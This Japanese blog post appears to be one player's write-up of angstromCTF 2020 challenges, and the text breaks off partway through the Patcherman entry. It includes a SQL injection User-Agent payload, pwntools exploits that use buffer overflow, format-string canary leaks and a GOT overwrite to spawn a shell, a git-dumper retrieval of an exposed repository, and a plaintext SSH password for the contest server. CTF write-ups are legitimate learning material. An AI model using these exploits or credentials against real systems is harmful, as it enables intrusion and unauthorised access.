みつのCTF精進記録

プログラム書いたりCTFやったりするゆるゆるなブログです。

angstromCTF 2020 writeup

はじめに

angstromCTF 2020に参加しました.自分の所属するStarrySkyは70位でした.
f:id:mi__tsu:20200319164532p:plain
チームメンバーがグロッキーなので,Miscの一問を除き全て一人でやることになってしいました.正直辛かったです.
ソルブ数的にWeb問が解けないと大変そうなコンテストで,自分はWebがダメダメなので非常に辛かったです.焦りがすごいです.
あとは個人的にrevが思うように解けず,少し悔しかったです.あとMiscが他のジャンルに比べ,点数の割に簡単な問題が多かったイメージがあります.
あとLo-KeeとRST-OTP解きたかった……
以下writeupです.

[Misc: 30 pts] ws1

Find my password from this recording (:

  • recording.pcapng

stringsでやるだけ.
actf{wireshark_isn't_so_bad_huh-a9d8g99ikdf}

[Misc: 70 pts] clam clam clam

clam clam clam clam clam clam clam clam clam nc misc.2020.chall.actf.co 20204 clam clam clam clam clam clam

netcatで繋いだらclam{clamclam}とめちゃくちゃたくさん言われました.
目で終えなかったのでとりあえずファイルに出力してテキストエディタで眺めます.

clam{clam_clam_clam_clam_clam}
malc{malc_malc_malc_malc_malc}
type "clamclam" for salvation^Mclam{clam_clam_clam_clam_clam}
malc{malc_malc_malc_malc_malc}
clam{clam_clam_clam_clam_clam}

怪しい文字列が見つかりました.\rを挟んでclam{clam_clam...で上書きすることで見えないようになってたんですね.
というわけでclam{clam_clam...って言われている間にclamclamと入力すればフラグが取れました.
actf{cl4m_is_my_f4v0rite_ctfer_in_th3_w0rld}

[Misc 90 pts] PSK

My friend sent my yet another mysterious recording...
He told me he was inspired by PicoCTF 2019 and made his own transmissions. I've looked at it, and it seems to be really compact and efficient.
Only 31 bps!!
See if you can decode what he sent to me. It's in actf{} format

  • transmission.wav

謎の音声ファイルが渡されます.初めはスペクトルを見てモールス信号を取り出すとかそういうのかと思ってましたが全然違いました.
Phase Shift Keyingという技術が使われていて,これで変調してデータの送受信を行っているっぽいです.
うちにはPSKをどうこうするラジオはなかったのでググってみると,パソコンのマイクで音声を拾ってデータを受け取ってくれるソフトがありました.
EssexPSK - Free PSK31 Decoder Application | Essex Ham
ということでデコードしていきます.
f:id:mi__tsu:20200320123226p:plain
actf{hamhamhamham}

[Misc: 100 pts] Inputter

Clam really likes challenging himself. When he learned about all these weird unprintable ASCII characters he just HAD to put it in a challenge. Can you satisfy his knack for strange and hard-to-input characters? Source.
Find it on the shell server at /problems/2020/inputter/.

  • inputter.c
  • inputter

ソースコードを読むと,第一引数に" \n'\"\x07",標準入力に"\x00\x01\x02\x03\n"を渡さなくてはいけないことがわかります.
確かにキーボードじゃ入力できない.pwnやるときと同じ感覚で入力すれば大丈夫です.
そるばどぺー

from pwn import *
import sys

arg = ["./inputter", " \n'\"\x07"]
if len(sys.argv) == 1:
    r = process(arg)
else:
    shell = ssh(host="shell.actf.co", user="team5764", password="2f126c26e79301d78fa0")
    shell.sendline("cd /problems/2020/inputter/")

    r = shell.process(arg, cwd="/problems/2020/inputter")

buf = "\x00\x01\x02\x03\n"
r.sendline(buf)

r.interactive()

pwntoolsでssh周りを触るいい感じの練習になりました.
actf{impr4ctic4l_pr0blems_c4ll_f0r_impr4ctic4l_s0lutions}

[Misc: 140 pts] msd

You thought Angstrom would have a stereotypical LSB challenge... You were wrong! To spice it up, we're now using the Most Significant Digit. Can you still power through it?
Here's the encoded image, and here's the original image, for the... well, you'll see.

  • public.py
  • breathe.jpg
  • output.png

最初は暗号化スクリプトが渡されず,結構やばいエスパーでした.
public.pyを読むと,各ピクセルのRGB値の十進数表記での最上位桁を,フラグの各文字の文字コードの十進数表記での最上位桁に置き換る処理繰り返し行っていることがわかります.
つまり,output.pngの各ピクセルのRGB値の十進数表記での最上位桁を取っていけばフラグが入手できます.
ただし注意として,フラグとして使われる文字コードには十進数で二桁のものと三桁のものが入り混じっていたり,またRGB値が255以上になるとどうやら自動的に255に直されてしまい誤って"2"という文字を受け取ってしまったりします.
最初の問題は1や2を受け取ったら三桁分受け取るみたいな分岐を挟めばなんとかなります.
二つ目はもうどうしようもなく,暗号化は繰り返し行われているためなんだかんだうまく直せる場所があるだろうと考えて解きました.
そるばどぺー

from PIL import Image
import re

im = Image.open("output.png")
im2 = Image.open("breathe.jpg")

width, height = im.size

flag = []
for j in range(height):
    for i in range(width):
        test = []
        r, g, b = im.getpixel((i, j))
        rp, gp, bp = im2.getpixel((i, j))

        if r == 255:
            flag.append("5")
        elif len(str(r)) == len(str(rp)):
            flag.append(list(str(r))[0])
        else:
            flag.append("0")

        if g == 255:
            flag.append("5")
        elif len(str(g)) == len(str(gp)):
            flag.append(list(str(g))[0])
        else:
            flag.append("0")

        if b == 255:
            flag.append("5")
        elif len(str(b)) == len(str(bp)):
            flag.append(list(str(b))[0])
        else:
            flag.append("0")

cnt = 0
res = []
flagp = []
b = 0
while cnt < len(flag) - 4:
    if flag[cnt] == "9" and flag[cnt+1] == "7" and flag[cnt+2] == "9" and flag[cnt+3] == "9":
        b = 1

    if flag[cnt] == "2" or flag[cnt] == "1":
        res.append(flag[cnt] + flag[cnt + 1] + flag[cnt + 2])
        if b == 1:
            flagp.append(flag[cnt])
            flagp.append(flag[cnt + 1])
            flagp.append(flag[cnt + 2])
        cnt += 2
    else:
        res.append(flag[cnt] + flag[cnt + 1])
        if b == 1:
            flagp.append(flag[cnt])
            flagp.append(flag[cnt + 1])
        cnt += 1

    cnt += 1

# print(flagp)

# print(data)
for i in res:
    print("{}".format(chr(int(i))), end="")

適当にファイルに出力して検索しました.
actf{inhale_exhale_ezpz-12309biggyhaby}

[Misc: 160 pts] Shifter

What a strange challenge...
It'll be no problem for you, of course!
nc misc.2020.chall.actf.co 20300

netcatでつなぐと文字列と数字nが渡され,n番目のフィボナッチ数だけ文字列をROT的なシフトしろと言われます.
nの値はそんなに大きくなかったので,フィボナッチ数の計算にはそこまで気を配る必要はありませんでした.160点まじ?
そるばどぺー

from pwn import *

def Fib(n):
    a, b = 0, 1
    if n == 1:
        return a
    elif n == 2:
        return b
    else:
        for i in range(n-2):
            a, b = b, a + b
        return b

f = [Fib(n) for n in range(1,51)]

def _rot(i, c):
    if "A" <= c and c <= "Z":
        return chr((ord(c) - ord("A") + i) % 26 + ord("A"))
    if "a" <= c and c <= "z":
        return chr((ord(c) - ord("a") + i) % 26 + ord("a"))
    return c

def rot(i, s):
    g = (_rot(i, c) for c in s)
    return "".join(g)

if __name__ == "__main__":
    r = remote("misc.2020.chall.actf.co", 20300)

    for i in range(50):
        sleep(0.4)
        log.info(i + 1)
        r.recvuntil("Shift ")
        x = r.recvline().split()
        print(x)

        if x[2][0] == ord("n"):
            res = rot(f[int(x[2][2:].decode("utf-8"))], x[0].decode("utf-8"))
            print(res)
            r.sendline(res)

    r.interactive()

actf{h0p3_y0u_us3d_th3_f0rmu14-1985098}

[Misc: 180 pts] ws3

What the... record.pcapng

  • record.pcapng

パケットダンプが渡されます.TCPストリームを適当に追跡していると,git-upload-packの文字がありました.
f:id:mi__tsu:20200319154244p:plain
よってこの通信は,gitのローカルとリモートの通信の状況をダンプしたものだと推測できます.
packファイルがほしかったのでオブジェクトのエクスポートを試してみました.
f:id:mi__tsu:20200319155950p:plain
明らかに怪しいpackファイルを含むパケットが見つかります.
このパケットのgit-receive-packですしおそらくここにアタリのpackファイルが含まれていると思われます.
中身を展開したいのでbinwalkでこじ開けます.

$ binwalk -e git-receive-pack
$ cd  _git-receive-pack.extracted/
$ file *
156:      data
156.zlib: zlib compressed data
1A9:      JPEG image data, JFIF standard 1.01, aspect ratio, density 72x72, segment length 16, baseline, precision 8, 413x549, components 3
1A9.zlib: zlib compressed data
B7:       Git tree 87872
B7.zlib:  zlib compressed data

画像がありました.ここにフラグが書いてありました.
f:id:mi__tsu:20200319162701p:plain
ちなみにbinwalkでうまく展開できなかったときは,packファイルをバイナリエディタで切り出し,空のリポジトリを作ってgit unpack-objectsを使ってロードしてあげれば大丈夫です.
actf{git_good_git_wireshark-123323}

[Misc: 240 pts] Noisy

My furrier friend tried to send me a morse code message about some new furs, but he was using a noisy connection. I think he repeated it a few times but I still can't tell what he said, could you figure out what he was trying to tell me? Here's the code he used.
(the flag is not in the actf{} format, it's all lowercase, 1 repetition only)

  • 4ea.txt
  • Noisy.py

暗号化スクリプトを読むと,モールス符号の短点を10個の1へ,長点を20個の1へ,間隔を20個の0へ変換していました.また各点の間には10個の0が含まれているようです.こうして符号化した1と0に対し乱数を含めた計算を行ったのちファイル(4ea.txt)へ出力していました.
またこれを繰り返し行なっているようで,その回数は非公開でした.
4ea.txtの各小数から乱数を取り除ければなんとかなりそうなのでそこに注目します.
使用している乱数生成器はガウス分布に従ったもので,平均が0,分散が2でした.平均取ればそれっぽくなりそうということで,出力の繰り返し回数を総当りして無理やり計算しました.
また復号後は無理やりパターンマッチを書いて無理やりフラグを手に入れることができました.
そるばどぺー

from decimal import Decimal, ROUND_HALF_UP
import sys

repeats = int(sys.argv[1])

def sum(li):
    res = 0
    for i in li:
        res += i
    return res

def mean(li):
    mm = Decimal(str(sum(li) / len(li))).quantize(Decimal("0"), rounding=ROUND_HALF_UP)
    return float(mm)

fsize = 28800
msize = fsize // 10

f = open("4ea.txt", "r")

x = msize // repeats
signals = []

for i in range(repeats):
    for j in range(x):
        points = []
        for _ in range(10):
            points.append(float(f.readline()) + 0.5)
        if i == 0:
            signals.append(points)
        else:
            signals[(i * x + j) % x] += points

morsebits = ""
for i in range(len(signals)):
    signal = mean(signals[i])
    if signal == 0.0:
        morsebits += "0"
    elif signal == 1.0:
        morsebits += "1"
    else:
        morsebits += str(int(signal))

print(morsebits)

morse = ""
i = 0
while i < len(morsebits):
    c = morsebits[i]
    print(c, end="")
    if i < len(morsebits) - 1 and c == "1" and morsebits[i + 1] == "1":
        morse += "-"
        i += 2 
    elif c == "1":
        morse += "."
        i += 1
    else:
        if i < len(morsebits) - 1 and morsebits[i + 1] == "0":
            morse += " "
        else:
            print("Error!")
        i += 2

    i += 1

print("")
print(morse)
    
f.close()    

繰り返し回数(引数)を5にするといい感じになりました.そこから一部分だけ切り取ればフラグが取れました.
noisynoise (だった気がする)

[Web: 20 pts] The Magic Word

Ask and you shall receive...that is as long as you use the magic word.

ページに飛ぶと,ただgive flagとだけ書かれていました.
f:id:mi__tsu:20200318185545p:plain
idがmagicとなっているタグのinnerTextを"please give flag"にすれば大丈夫そうです.
actf{1nsp3c7_3l3m3nt_is_y0ur_b3st_fri3nd}

[Web: 50 pts] Consolation

I've been feeling down lately... Cheer me up!

f:id:mi__tsu:20200318185904p:plain
ボタンを押したらお金が増えました.どうやらnofret()という関数が呼ばれているようです.
ソースコードも見れたのでnofret()の実装を確認したところ次のような処理が行われていました.

function nofret() {
    document[_0x4229('0x95', 'kY1#')](_0x4229('0x9', 'kY1#'))[_0x4229('0x32', 'yblQ')] = parseInt(document[_0x4229('0x5e', 'xtR2')](_0x4229('0x2d', 'uCq1'))['innerHTML']) + 0x19;
    console[_0x4229('0x14', '70CK')](_0x4229('0x38', 'rwU*'));
    console['clear']();
}

console['clear']();が非常に怪しい……
というわけでこの処理のconsole['clear']();を除いたものを実行してみるとフラグが入手できました.
actf{you_would_n0t_beli3ve_your_eyes}

[Web: 70] Git Good

Did you know that angstrom has a git repo for all the challenges? I noticed that clam committed a very work in progress challenge so I thought it was worth sharing.

アクセスしても特に何もないサイトでした.
f:id:mi__tsu:20200319163745p:plain
試しにディレクトリトラバーサルを試してみるとこんな感じになります.
f:id:mi__tsu:20200319163856p:plain
サイトのgitリポジトリを取りたいです.色々検索してみるとこんなものがヒットしました.
GitHub - arthaud/git-dumper: A tool to dump a git repository from a website

$ python git-dumper/git-dumper.py https://gitgood.2020.chall.actf.co/ dump
$ cd dump
$ ls
index.html  index.js  package-lock.json  package.json  thisistheflag.txt
$ cat thisistheflag.txt
There used to be a flag here...

流石に一筋縄では行かないっぽいです.
どうやら過去にはここにフラグが存在していたっぽいので,コミットのdiffをとればフラグが入手できます.

$ git log
commit e975d678f209da09fff763cd297a6ed8dd77bb35 (HEAD -> master)
Author: aplet123 <noneof@your.business>
Date:   Sat Mar 7 16:27:44 2020 +0000

    Initial commit

commit 6b3c94c0b90a897f246f0f32dec3f5fd3e40abb5
Author: aplet123 <noneof@your.business>
Date:   Sat Mar 7 16:27:24 2020 +0000
$ git diff 6b3c94c0b90a897f246f0f32dec3f5fd3e40abb5
diff --git a/thisistheflag.txt b/thisistheflag.txt
index 0f52598..247c9d4 100644
--- a/thisistheflag.txt
+++ b/thisistheflag.txt
@@ -1,3 +1 @@
-actf{b3_car3ful_wh4t_y0u_s3rve_wi7h}
-
-btw this isn't the actual git server
+There used to be a flag here...

actf{b3_car3ful_wh4t_y0u_s3rve_wi7h}

[Web: 110] Secret Agents

Can you enter the secret agent portal? I've heard someone has a flag :eyes:
Our insider leaked the source, but was "terminated" shortly thereafter...

  • app.py

サイトとソースコードから,特定のUser-Agentのみでしかログインできないようになっていることがわかります.
ソースコードを見ると,User-AgentでSQL InjectionができそうだったのでとりあえずUser-Agentを" ' OR '1' = '1"にしてログインしてみました.
するとhey! close, but no bananananananananana!!!! (there are many secret agents of course)みたいなことを言われ煽られます.
改めてソースコードを見ると,データベースにはアクセスできるUser-Agentが複数登録されていて,ヒットしたUser-Agentの件数が一つでないとアクセスできないようになっていることがわかりました.
SQLでヒット件数を絞るものといえばLIMITです.これを使ってログインしていきます.
具体的にはUser-Agentを"' OR '1' = '1' LIMIT [offset],1; --"としてログインすればいいです.
一人目のエージェントだと次のような感じになりました.
f:id:mi__tsu:20200319025136p:plain
GRUという名前でログインしているっぽいです.エージェントは他にもたくさんいるらしいので恐らくこの中にフラグがあるのかと考えオフセットを変更したところ,無事フラグを所得することができました.
f:id:mi__tsu:20200319025354p:plain
actf{nyoom_1_4m_sp33d}

[Crypto: 40 pts] Keysar

Hey! My friend sent me a message... He said encrypted it with the key ANGSTROMCTF.
He mumbled what cipher he used, but I think I have a clue.
Gotta go though, I have history homework!!
agqr{yue_stdcgciup_padas}

最初はヴィジュネル暗号かなにかかと思いましたが違いました.
色々ググると,どうやら鍵付きのカエサル暗号(Keyed Caesar)なるものがあるらしいのでデコーダにぶっこんだらフラグがでました.
actf{yum_delicious_salad}

[Crypto: 70 pts] Reasonably Strong Algorithm

RSA strikes again!
- rsa.txt
RSA暗号の公開鍵と暗号文が渡されます.
 n = 126390312099294739294606157407778835887 です.これは明らかに小さいので簡単に素因数分解できます.
結果的に, n = pq=9336949138571181619 \cdot 13536574980062068373 でした.
RSA暗号 c=m^{e} \mod n なので
 \phi(n)=(p - 1)(q - 1),\ d=e^{-1} \mod \phi(n) として  c^{d} \mod n を計算すれば平文が求まります.
そるばどぺー

from Crypto.PublicKey import RSA
import gmpy2
import re
import base64

# a * x0 + b * y0 = gcd(a, b)
# return gcd(a,b), x0, y0
def egcd(a, b):
    (x0, x1, y0, y1) = (1, 0, 0, 1)
    while b != 0:
        (q, a, b) = (a // b, b, a % b)
        (x0, x1, y0, y1) = (x1, x0 - q * x1, y1, y0 - q * y1)
    return (a, x0, y0)

def modinv(a, mod):
    g, x, y = egcd(a, mod)
    if g != 1:
        raise Exception("Modinv does not exist")
    return x % mod

def importPubKey(filename):
    with open(filename) as f:
        key = RSA.importKey(f.read())
    return key.n, key.e

def getBase64Cipher(string):
    c = base64.b64decode(string)
    return int.from_bytes(c, "big")

# factoring: msieve -q -v -e n
def pqAttack(p, q, e, c):
    n = p * q
    phi = (p - 1) * (q - 1)
    d = modinv(e, phi)
    return pow(c, d, n)

def lowExponentAttack(e, c):
    m, _ = gmpy2.iroot(c, e)
    return int(m)

def commonModulusAttack(n, e1, c1, e2, c2):
    _, x, y = egcd(e1, e2)
    x = pow(c1, x, n)
    y = pow(c2, y, n)
    return (x * y) % n

def decodeM(m):
    s = hex(m)[2:]
    l = []
    if (len(s) & 1):
        l.append(chr(int(s[0], 16)))
        s = s[1:]
    ss = re.split("(..)", s)[1::2]
    for i in ss:
        l.append(chr(int(i, 16)))
    return "".join(l) 

if __name__ == "__main__":
    n = 126390312099294739294606157407778835887
    e = 65537
    c = 13612260682947644362892911986815626931
    p = 9336949138571181619
    q = 13536574980062068373
    print(decodeM(pqAttack(p, q, e, c)))

actf{10minutes}

[Crypto: 90 pts] Wacko Image

How to make hiding stuff a e s t h e t i c? And can you make it normal again? enc.png image-encryption.py
The flag is actf{x#xx#xx_xx#xxx} where x represents any lowercase letter and # represents any one digit number.

  • enc.png
  • image-encryption.py

エンコードスクリプトエンコードされた画像が渡されます.
f:id:mi__tsu:20200319031233p:plain
さすがに見えない.
スクリプトを読むと,元の画像の各ピクセルのRGB値に対しkeyだけかけて251で剰余を取るという操作をしていました.
またkeyの値はRなら41,Gなら37,Bなら23といった感じです.
というわけでデコードの方法として,エンコードされた画像の各ピクセルに対し251を法としたkeyの逆数(modinv)をかければ大丈夫そうです.
そるばどぺー

from numpy import *
from PIL import Image

# a * x0 + b * y0 = gcd(a, b)
# return gcd(a,b), x0, y0
def egcd(a, b):
    (x0, x1, y0, y1) = (1, 0, 0, 1)
    while b != 0:
        (q, a, b) = (a // b, b, a % b)
        (x0, x1, y0, y1) = (x1, x0 - q * x1, y1, y0 - q * y1)
    return (a, x0, y0)

def modinv(a, mod):
    g, x, y = egcd(a, mod)
    if g != 1:
        raise Exception("Modinv does not exist")
    return x % mod

flag = Image.open(r"enc.png")
img = array(flag)

key = [41, 37, 23]
key = [23, 37, 41]

a, b, c = img.shape

for x in range (0, a):
    for y in range (0, b):
        pixel = img[x, y]
        for i in range(0,3):
            pixel[i] = (pixel[i] * modinv(key[i], 251)) % 251
        img[x][y] = pixel

enc = Image.fromarray(img)
enc.save('dec.png')

f:id:mi__tsu:20200319031834p:plain
actf{m0dd1ng_sk1llz}

[Crypto: 100 pts] Confused Streaming

I made a stream cipher!
nc crypto.2020.chall.actf.co 20601

  • chall.py

netcatで接続すると,a,b,cの入力を求められ,条件を満たしていた場合それらで暗号化したフラグが入手できます.
と言っても,条件さえ満たしていれば出力が変わらなさそうだったのでフラグがそのままでてると考え解きました.
これに気づくまでは大変でした……
そるばどぺー

bins = "01100001011000110111010001100110011110110110010001101111011101110110111001011111011101000110111101011111011101000110100001100101010111110110010001100101011000110110100101101101011000010110110001111101"
bins = [bins[i * 8: i * 8 + 8] for i in range(len(bins) // 8)]

for i in bins:
    c = int(i, 2)
    print(chr(c), end="")

actf{down_to_the_decimal}

[Crypto: 100] one time bad

My super secure service is available now!
Heck, even with the source, I bet you won't figure it out.
nc misc.2020.chall.actf.co 20301

  • server.py

乱数を使って文字列を生成し,暗号文や鍵を作っているようです.
2番の処理は,内部で生成した文字列のBase64を出力し,生成に利用したワンタイムパッドの文字列を当てさせるといったものでした.
無事当てられたらフラグが手に入るようです.
ワンタイムパッドの処理を見てると,文字列長は1から30,各文字はランダムといった感じで生成しているっぽいです.
文字列の長さが1の場合で特定の文字列を決め打ちしていれば,800回の接続もせずに当たります.
そるばどぺー

import random
import base64
from pwn import *

r = remote("misc.2020.chall.actf.co", 20301)

while True:
    print(r.recv(0x100))
    r.sendline("2")
    r.sendline("T")

フラグは忘れちゃいました

[Crypto: 130] Discrete Superlog

You've heard of discrete log...now get ready for the discrete superlog.
nc crypto.2020.chall.actf.co 20603

 \mathbb{Z} / p\mathbb{Z} 上でテトレーション  ^{x}a=b を満たす  x を10回求める問題です.
テトレーションの説明は面倒くさいのでwikipediaでも読んでください.
最初はうろたえました.離散対数問題にはないテトレーション特有の性質を使って実は対数が効率的に求まるのかと思ってましたが,結局そんなことはやっぱりないようです.
手元で色々実験していたら  x の値が  10 以下であることがわかりました.
というわけで与えられた  a について  ^{x}a,\ (x = 1,2,\cdots ,10) を計算すれば条件を満たす  x が無理やり求められそうです.
テトレーション  ^{x}a \mod p は,オイラーの定理と中国剰余定理を使えば  \mathcal{O}(\log{}p) 程度の操作で求められうことが割と簡単に示せます.
ただ, \mathcal{O}(\log{}p) 程度の操作の中でトーティエント関数の計算を行っているためこれがネックとなり,全体としての計算量はほぼ  \phi(n) の計算量に依存する(んじゃないなーと思い)ます.
 \phi(n)素因数分解を使うことでそれなりに高速に求めることができます.素因数分解のコードは自分で書いてもよかったのですが,回数を重ねるごとに与えられる  p の値が次第に大きくなっていくのを見て不安になったためmsieveを使いました.
次のコードは  a p を受け取り, x 1 から  10 までのときのテトレーションを計算するプログラムです.
そるばどぺー

"""
*** This program uses the msieve for calc phi(n)
*** Before run thi program, wget the msieve-1.53

for x in range(10):
    print(x, a^^x % p)
"""

import math
from fractions import Fraction
from pwn import *

# Euler's totient function
def phi(n):
    r = process(["./msieve-1.53/msieve", "-v", "-e", "-q", str(n)])
    print(r.recvuntil("p"))
    buf = r.recvall()[:-2].decode("utf-8")
    print(buf)
    r.close()
    buf = buf.split()
    factors = []
    for i in range(len(buf) // 2):
        if buf[i * 2 + 1].isdecimal():
            factors.append(int(buf[i * 2 + 1]))
    factors = list(set(factors))

    print("calc phi({})".format(n))
    print("factors:", factors)

    res = Fraction(n, 1)
    for i in factors:
        pk = i
        res *= Fraction(pk - 1, pk)
    print("phi = {}".format(int(res)))
    return int(res)

# modtetration
# a ^^ b mod c
def tetration(a, b, c):
    if c == 1:
        return 0
    if a == 1:
        return 1

    if b == 0:
        return 1
    if b == 1:
        return a % c
    g = math.gcd(pow(a, int(math.log2(c)), c), c)
    pg = phi(c // g)

    if g == c:
        return 0

    res = pow(a, tetration(a, b - 1, pg) + pg, c)
    return res

p = int(input())
a = int(input())

buf = []
for i in range(1, 11):
    buf.append(tetration(a, i, p))

for i in range(len(buf)):
    print(i + 1, buf[i])

actf{lets_stick_to_discrete_log_for_now...}

[Binary: 50 pts] No Canary

Agriculture is the most healthful, most useful and most noble employment of man.
George Washington
Can you call the flag function in this program (source)? Try it out on the shell server at /problems/2020/no_canary or by connecting with nc shell.actf.co 20700.

  • no_canary.c
  • no_canary

最初の名前入力欄にバッファオーバーフローがあります.ご親切にフラグを表示する関数がバイナリに含まれていたのでそれを呼び出すだけです.
そるばどぺー

from pwn import *

offset = 40
flag = 0x00401186

r = remote("shell.actf.co", 20700)

payload = b"A" * offset
payload += p64(flag)

r.sendline(payload)

r.interactive()

[Binary: 70 pts] Canary

A tear rolled down her face like a tractor. “David,” she said tearfully, “I don’t want to be a farmer no more.”
—Anonymous
Can you call the flag function in this program (source)? Try it out on the shell server at /problems/2020/canary or by connecting with nc shell.actf.co 20701.

  • canary.c
  • canary

最初の名前入力欄にfsbがあります.またAnything else you want ... といったところにbofがあります.
fsaでcanaryを読み出し,canaryの値を元の値のままにしながらbofを利用することで *** stack smashing detected *** を回避できます.
そるばどぺー

from pwn import *
import sys

context.arch = "amd64"

fsb_offset = 6
canary_offset = 56
bof_offset = 72
printf_got = 0x601fd0
flag = 0x00400787

if len(sys.argv) == 1:
    r = process("./canary")
    print(r.pid)
    sleep(5)
else:
    r = remote("shell.actf.co",20701)

# fsa
payload = b"%17$lx"


r.sendline(payload)
r.recvuntil("you, ")
canary = int(r.recvline()[:-2], 16)

log.info("canary {}".format(hex(canary)))

# bof
payload = b"A" * canary_offset
payload += p64(canary)
payload += b"B" * (bof_offset - len(payload))
payload += p64(flag)

r.sendline(payload)

r.interactive()

[Binary: 120 pts] LIBrary in C

After making that trainwreck of a criminal database site, clam decided to move on and make a library book manager ... but written in C ... and without any actual functionality. What a fun guy. I managed to get the source and a copy of libc from him as well.
Find it on the shell server at /problems/2020/library_in_c, or over tcp at nc shell.actf.co 20201.

  • libc.so.6
  • library_in_c.c
  • library_in_c

最初の名前の入力と本の入力でfsbがあります.
flagを表示してくれる関数がないため,libcのsystem関数でシェルを取ることを考えます.
まず最初のfsaでputsのgotアドレスを利用してlibcのベースアドレスをリークします.この時スタックに残っているローカル変数のアドレスも読み出すことでリターンアドレスのリークも行います.
ユーザの自由な入力が第一引数となっているprintfをgot overwriteしてsystem関数を呼び出したいですが,それには一旦main関数の先頭に戻らなくてはいけません.
ということで2段階目のfsaでは,リターンアドレスの中身をmainの先頭あたりに変更してあげるペイロードを送り込みます.
こうしてmainの先頭に帰ってきたので,また2回fsaが行えます.
3段階目のfsaではprintfに対しgot overwriteを行い,printfが呼び出される時systemが呼び出されるようにします.
途中で printf("Your cart:\n - "); が実行されますが,Your cartなんてコマンドはないので,そんなコマンドないよ的なことを言ってそのまま次の命令へ進んでくれます.エラーで落ちず安心しました.
よって次のfgetsで/bin/shを送り込めばシェルが奪えます.
そるばどぺー

from pwn import *
import sys

context.clear(arch = "amd64")

puts_got = 0x601018
printf_got = 0x601030
main_addr = 0x400748

if len(sys.argv) == 1:
    puts_offset = 0x809c0
    system_offset = 0x4f440
    r = process("./library_in_c")
    log.info("pid = {}".format(r.pid))
    # sleep(5)
else:
    puts_offset = 0x6f690 
    system_offset = 0x45390
    r = remote("shell.actf.co", 20201)
    sleep(0.1)

r.recv(0x100)

# leak libc base
payload = b"%10$s!%24$lx!!!!" + p64(puts_got)
r.sendline(payload)

r.recvuntil("Why hello there ")

puts_addr = r.recvuntil("!")[:-1]
puts_addr = u64(puts_addr + b"\x00" * (8 - len(puts_addr)))
return_addr = int(r.recvuntil("!")[:-1], 16) + (0x7fffffffe4e8 - 0x7fffffffe5c0)

libc_base = puts_addr - puts_offset
system_addr = libc_base + system_offset

log.info("libc_base = {}".format(hex(libc_base)))
log.info("return_addr = {}".format(hex(return_addr)))
log.info("puts_addr = {}".format(hex(puts_addr)))

if (system_addr & 0xffffffff) >= 0x10000000:
    log.info("write num is too large")
    sys.exit(1)

# ret2main
writenum = main_addr
payload = "%" + str(writenum) + "c%20$n" + "%" + str(0xffff - (writenum & 0xffff) + 1) + "c%21$hn"
if len(payload) > 32:
    log.info("payload is too long")
    sys.exit(1)
payload += "!" * (32 - len(payload))
payload = payload.encode("utf-8") + p64(return_addr) + p64(return_addr + 4)
print(payload)
print(len(payload))

r.sendline(payload)

# got over write
writenum = system_addr & 0xffffffff
writenum2 = (system_addr & 0xffff00000000) >> 32
payload = "%" + str(writenum & 0xffffffff) + "c%12$n" + "%" + str(0xffff - (writenum & 0xffff) + 1 + writenum2) + "c%13$hn"
if len(payload) > 32:
    log.info("payload is too long")
    sys.exit(1)
payload += "!" * (32 - len(payload))
payload = payload.encode("utf-8") + p64(printf_got) + p64(printf_got + 4)

r.sendline(payload)

r.sendline("/bin/sh")

r.interactive()

文字数の関係上,printfのgot overwriteを%nで行っています.そのため出力される文字数が非常に多く,pwntoolsのパイプがエラーを履くことがありました.
そのためsystem関数のアドレスが大きすぎる場合プログラムを終了するようにしています.実際にフラグを取るときは次のようなシェルコードでブンブン回していました.

while :
do
	python solve.py r
done

フラグは忘れちゃいました

[Rev: 50 pts] Revving Up

Clam wrote a program for his school's cybersecurity club's first rev lecture! Can you get it to give you the flag? You can find it at /problems/2020/revving_up on the shell server, which you can access via the "shell" link at the top of the site.

  • revving_up

第一引数をbanana,標準入力にgive flagを送り込めば大丈夫です.
actf{g3tting_4_h4ng_0f_l1nux_4nd_b4sh}

[Rev: 50 pts] Windows of Opportunity

Clam's a windows elitist and he just can't stand seeing all of these linux challenges! So, he decided to step in and create his own rev challenge with the "superior" operating system.

windowsのバイナリが渡されます.しかしなんとstringsでフラグが出てしまいます.
actf{ok4y_m4yb3_linux_is_s7ill_b3tt3r}

[Rev: 70 pts] Taking Off

So you started revving up, but is it enough to take off? Find the problem in /problems/2020/taking_off/ in the shell server.

  • taking_off

ある条件を満たす引数で実行すればフラグが得られるようです.
まず,第一引数  x と第二引数  y と第三引数  z 0 \leq x,y,z \leq 9 かつ  100y + 10x + z = 932 を満たす必要があるため, x = 3,\ y = 9,\ z = 2 です.
また第四匹数は"chicken"という文字列ではないといけないっぽいです.
またパスワードは,あるバイト列に0x2aをxorしたものでplease give flagでした.
actf{th3y_gr0w_up_s0_f4st}

[Rev: 100 pts] Patcherman

Oh no! We were gonna make this an easy challenge where you just had to run the binary and it gave you the flag, but then clam came along under the name of "The Patcherman" and edited the binary! I think he also touched some bytes in the header to throw off disassemblers. Can you still retrieve the flag?

  • patcherman

どうやらフラグを表示するプログラムのようです.しかし何故かフラグが出てこないまま無限ループみたいになってしまいます……
gdbで追いかけようとしても実行フィルとして見てくれなくてトレースできません.
よくわからずreadelfでヘッダを見てみると大量のエラーを吐いていました.

$ readelf -h patcherman
ELF ヘッダ:
  マジック:  7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  クラス:                            ELF64
  データ:                            2 の補数、リトルエンディアン
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI バージョン:                    0
  型:                                EXEC (実行可能ファイル)
  マシン:                            Advanced Micro Devices X86-64
  バージョン:                        0x1
  エントリポイントアドレス:          0x400570
  プログラムヘッダ始点:            64 (バイト)
  セクションヘッダ始点:              0 (バイト)
  フラグ:                            0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         9
  Size of section headers:           64 (bytes)
  Number of section headers:         29
  Section header string table index: 28
readelf: 警告: Section 1 has an out of range sh_link value of 504
readelf: 警告: Section 4 has an out of range sh_link value of 3616
readelf: 警告: Section 5 has an out of range sh_link value of 4194900
readelf: 警告: Section 6 has an out of range sh_link value of 4196624

セクション周りがエラー吐いてるようです.セクションの情報はなくても実行できるため,全て消し去ります.
Number of section headersとSection header string table indexを0にすればいいです.これらの情報は0x3cから0x3fに格納されています.
というわけでバイナリエディタで適当に編集したらエラーがなくなりました.

$ readelf -h dec
ELF ヘッダ:
  マジック:  7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  クラス:                            ELF64
  データ:                            2 の補数、リトルエンディアン
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI バージョン:                    0
